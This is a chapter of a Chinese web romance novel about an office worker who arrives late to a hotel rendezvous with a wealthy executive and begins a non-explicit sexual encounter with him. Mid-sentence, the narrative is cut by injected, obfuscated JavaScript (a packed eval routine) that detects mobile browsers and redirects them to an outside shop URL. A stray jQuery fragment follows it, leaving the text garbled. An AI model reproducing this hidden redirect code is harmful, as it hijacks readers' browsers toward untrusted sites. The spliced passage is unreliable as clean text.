不出意外,上级还是让自己写第三份报告了,陈可安烦闷的同时,思考着如何写这份报告,要和前面两份报告有区别,又不能写得有失她的水准。
好在报告不是特别急地要交上去,她好不到好的头绪,决定把它延后写,暂时先去做别的工作。
忙忙碌碌干了一天的活,已经过去下班时间十多分钟了,记起晚上和沈淮序的约,陈可安准备收拾收拾下班,余光瞥见上级朝她这边走来,顿时有不祥的预感。
“既然大家还没走,我们就进会议室开个分析会吧。”
此话一从上级的嘴里说出来,陈可安想扇他耳光。
早不开,晚不开,偏偏下班时间开会。
虽然加班是这一行普遍的情况,但她都要下班了,突然要开会,她还是很烦。
然而,再不情愿,也得开会,陈可安面上不露出任何负面情绪,和同事们先后进会议室开会。
会议的内容,她没有一直认真听,偶尔看一看腕表上的时间。
她和沈淮序约的是七点半,来不及了。
开完会,已经将近九点,陈可安回到工位,拿起自己没带进会议室的手机。
上级叫开会叫得太突然,她忘记跟沈淮序打招呼,说自己可能迟到。
现在是板上钉钉的迟到了!
屏幕一亮,她看见未接来电的提示。
沈淮序八点时给她打过电话。
不用想,沈淮序肯定是问她为什么迟到。
陈可安没回电沈淮序,切到微信,打算在微信告诉他,自己迟到的原因,但她一打开微信,发现沈淮序微信也找过她。
【你是临时有事,要迟到了或来不了?】
离开了公司,坐上出租车,她才慢悠悠地回复。
【临时开了个会,在去的路上了。】
本以为消息发出,不会收到沈淮序的秒回,可他秒回了。
【嗯,我等你。】
和沈淮序约的地方,是上次他们去过的地方,离她公司有大概半个小时的路程,陈可安把手机放到包里,就闭目养神。
到达酒店,没吃晚饭的她饥肠辘辘,肚子发出了抗议声。
对此,她狠狠问候了上级的祖宗十八代,拉着团队开了两个小时的会,若是很重要的会,她也不说他什么,偏偏是可开可不开的会。
由于她和沈淮序约的是先一起在餐厅吃饭,再一起去楼上的总统套房do,现在她迟到了这么久,沈淮序不可能还在餐厅等她,她独自在餐厅吃饭。
在这吃过一次饭,陈可安有两三道喜欢的菜,这次懒得看菜单,就跟服务生说了菜名。
心满意足地吃完,买单时听到一个意外的数字,她怔了怔:“多少钱?”
“一共八千六百五十三元。”服务生重复道。
“……”陈可安细看桌上吃剩的食物,有些心疼自己的钱包。
几千块一顿的饭,她不是没吃过,但这顿饭超出了她平时的消费水平,像被打劫了,因为她当成是普通晚饭吃的。
吃不了霸王餐,陈可安忍着心疼,完成买单。
走到电梯里,她遇到新的问题。
餐厅所在的楼层是无需刷房卡的,即将要去的总统套房的楼层必须刷房卡,而她没有房卡。
不得已,陈可安从电梯退出,致电沈淮序:“沈总,我在餐厅那层楼,你下来接我。”
“好的。”沈淮序道。
坐电梯下楼,门打开前,他打算放远目光,寻找陈可安在何处,但门打开一小道缝,他就隐约见到她的身影。
门完全打开,沈淮序将陈可安整个人都纳入了眼中。
她就站在电梯门口旁边,脑袋稍稍垂着,粉唇微微抿着,似懊恼又似郁闷的表情,像发生了不愉快的事情。
他走近她的身边,问道:“陈可安,你怎么了?”
听到沈淮序的声音,陈可安抬头看他。
怎么了?
她能吐槽这里的物价贵吗?
吐槽的话,貌似有点不好。
消费场所都有各自的定位和受众,这里主打的是高端,受众都不差钱,对她而言像被打劫的一顿饭,放在受众那里是正常的物价。
她佯装无事地耸耸肩:“没什么。”
端详陈可安快速变换的表情,沈淮序并不追问。
他和陈可安是约着做男女之事的关系,不是相互深入了解对方的亲密关系,人家不愿意告诉他的事,他还是别追问为好。
他指了指后面的电梯:“我们进去吧。”
重新进入电梯,陈可安看了看沈淮序拿房卡刷楼层,随即去看屏幕中的楼层数字变化,下一刻,她的右手被一只大手抓住,再缓缓包裹住。
沈淮序在玩她的手。
他的玩是有意的那种,可他表面一本正经的,像不知自己在做什么。
没有不适感,她就随他了,但余光瞥了他几眼。
捕捉到身边的女孩看他,沈淮序侧目望向她。
陈可安不准时出现,电话和微信都联系不上她,他以为她要放他鸽子了,打算回家。
带着期待来,却带着失望回家,这种感觉对他是相当新奇的。
或许是他的人生太顺利,基本做什么都会成功,给了他无限的自信,极少体验失望。
冷不丁地体验一次,让他失望的还是异性,说不上来的奇妙。
奇妙过后,陈可安回复他的消息,说她在来的路上,他萌生了一丝惊喜,再到此刻见到她的人,牵着她软若无骨的小手,惊喜化作略许满足。
短短时间内,情绪起伏三四次,是他以往几乎没有过的体验,这使他不禁将陈可安从头到脚的打量。
她今天又穿着职业装,长发利落地扎起来,露出洁白修长的脖颈,面上不见丁点化妆品的痕迹,皮肤细腻白皙得吹弹可破。
仔细打量之下,沈淮序想到上周在他妹妹家吃过的小蛋糕。
陈可安真的很像小蛋糕,香软、美味可口。
有个人眼睛眨也不眨地盯着自己,陈可安是明显能感受到的。
电梯里只有她和沈淮序,他盯着她,她都不稀奇了,主要他不是第一次做这种事。
叮一声,电梯停止上升,她拉着沈淮序出去,到总统套房里。
“不管以后我们每次是不是都约这里,房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505381|201936||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
卡我还是给你一张吧?”沈淮序并非嫌下楼接陈可安烦,是不能保证每次都没有突发状况,两个人都有房卡,会更方便点。
“好啊。”
接过沈淮序给的房卡,陈可安马上放到包里。
她想把包放桌上,沈淮序就抱住了她。
对上他充满侵略的眼眸,见他要低头,预判到他的行为,她抬手捂了捂他的嘴巴,问道:“对了,酒店是你的产业,那我在这的消费可以全免吗?”
不吐槽这里的物价贵,可是,不能她来这,沈淮序不在她的身边,她正常吃点东西什么的,都得支付超出她平时消费水平的钱吧,这不利于她的存款增长。
想要接吻,遭到了打断,沈淮序唇角微抿:“可以,我跟他们打声招呼。”
“谢谢。”陈可安拿开沈淮序抱住她的双手,“先让我放好包。”
随手放好了包,沈淮序的双手又缠绕上她,对准她的嘴巴就亲了上来。
开了枯燥的会,又刚吃完像被打劫的饭,她暂时不太想do,也不太想接吻,但她没拒绝沈淮序的吻,只是让他亲了一会,便不让他亲了。
过于短暂的吻,沈淮序意犹未尽:“你要换气了吗?”
上次陈可安跟他提过,他接吻都不让她换气,他潜意识认为她这次要换气。
“……”陈可安哭笑不得,“不是,我吃多了,我想歇一歇。”
“好吧。”
到沙发坐下,沈淮序挨着她也坐下,他的手不停歇,摸了摸她的头,又摸了摸她的脸,最后玩着她的手,像在研究什么玩具,略显稚气的行为和和他俊美得过分的脸庞不搭,陈可安忍不住抽回自己的手。
“沈总,这有酒吗?我想喝点。”
光坐着,蛮无聊的,她好些天没喝过酒了,想来几杯。
“你想喝什么?”沈淮序记得这里有个酒柜,市面上受欢迎的酒都有。
“香槟。”
“好,你等等。”
沈淮序走开,没一会拿了一瓶香槟和两个杯子回来,陈可安娴熟地打开瓶盖,给两个杯子都倒了半杯。
喝了几口酒,余光扫掠身边也在喝酒的男人,她想到了个好玩的。
“沈总。”她叫道。
“嗯?”沈淮序以为陈可安有新需求,静等她往下说。
谁知,陈可安并未有新需求,她叫了他一声,放下酒杯,便起身坐到他的怀里。
陈可安站着的时候,沈淮序就觉得她娇小,眼下见到怀里的她,嗅着她独有的馨香,也觉得她更娇小了。
“你……”他微张嘴巴,想要问她做什么,话没说完,她的双手忽然捧住他的脸,清亮如泉水的眼睛专注地望着他。
女孩太过专注,她掌心的温度又在他的脸上蔓延,一刹那,沈淮序像看到他妹妹那天晚上喝醉的她,体温不受控制地逐渐升高,有些口干舌燥。
“沈总,我来教你让人换气的接吻吧,这样以后你亲人,对方就不会每次都缺氧。”话音未落,陈可安浅浅地亲着面前男人的薄唇。
沈淮序的一些习惯让她有时不舒服,她要用自己舒服的方式把他的习惯改掉,算是顺手调教一下。